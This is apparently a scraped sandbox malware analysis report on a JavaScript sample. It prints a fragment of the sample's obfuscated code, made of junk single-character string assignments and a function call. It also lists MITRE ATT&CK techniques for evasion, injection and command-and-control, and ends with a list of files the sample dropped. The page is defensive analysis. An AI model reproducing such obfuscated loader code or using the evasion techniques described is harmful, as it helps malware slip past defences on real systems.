1340	anina = "h";
1341	anina = "p";
1342	anina = "x";
1343	anina = "u";
1344	anina = "I";
1345	anina = "a";
1346	anina = "f";
1347	anina = "i";
1348	anina = "i";
1349	jczgx = "r";
1350	jczgx = "O";
1351	jczgx = "F";
1352	jczgx = "W";
1353	jczgx = "i";
1354	jczgx = "R";
1355	jczgx = "L";
1356	jczgx = "K";
1357	jczgx = "h";
1358	jczgx = "n";
1359	jczgx = "d";
1360	jczgx = "x";
1361	jczgx = "R";
1362	jczgx = "h";
1363	jczgx = "V";
1364	jczgx = "q";
1365	jczgx = "C";
1366	jczgx = "r";
1367	jczgx = "W";
1368	jczgx = "Q";
1369	jczgx = "Y";
1370	jczgx = "0";
1371	vanbe = "i";
1372	vanbe = "i";
1373	vanbe = "a";
1374	vanbe = "F";
1375	vanbe = "J";
1376	vanbe = "d";
1377	vanbe = "p";
1378	vanbe = "i";
1379	vanbe = "P";
1380	vanbe = "y";
1381	vanbe = "R";
1382	vanbe = "E";
1383	vanbe = "H";
1384	vanbe = "z";
1385	vanbe = "F";
1386	vanbe = "n";
1387	vanbe = "c";
1388	vanbe = "j";
1389	vanbe = "s";
1390	vanbe = "L";
1391	vanbe = "D";
1392	vanbe = "I";
1393	vanbe = "a";
1394	vanbe = "k";
1395	vanbe = "c";
1396	vanbe = "q";
1397	vanbe = "v";
1398	vanbe = "U";
1399	vanbe = "s";
1400	vanbe = "s";
1401	vanbe = "A";
1402	vanbe = "N";
1403	vanbe = "U";
1404	vanbe = "o";
1405	sjvap = "b";
1406	sjvap = "L";
1407	sjvap = "o";
1408	sjvap = "r";
1409	sjvap = "F";
1410	sjvap = "T";
1411	sjvap = "s";
1412	sjvap = "m";
1413	sjvap = "G";
1414	sjvap = "s";
1415	sjvap = "x";
1416	mpzzol = "M";
1417	mpzzol = "w";
1418	mpzzol = "D";
1419	mpzzol = "r";
1420	mpzzol = "R";
1421	mpzzol = "\"";
1422	wwddtqoqc ( );	wwddtqoqc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 705722057165658523.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1ec598f9-2c38-4458-801e-fbd75f365eea.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7e3446b5-148e-4946-aaaf-2da1f4eac7a4.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5bebdc.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
705722057165658523.js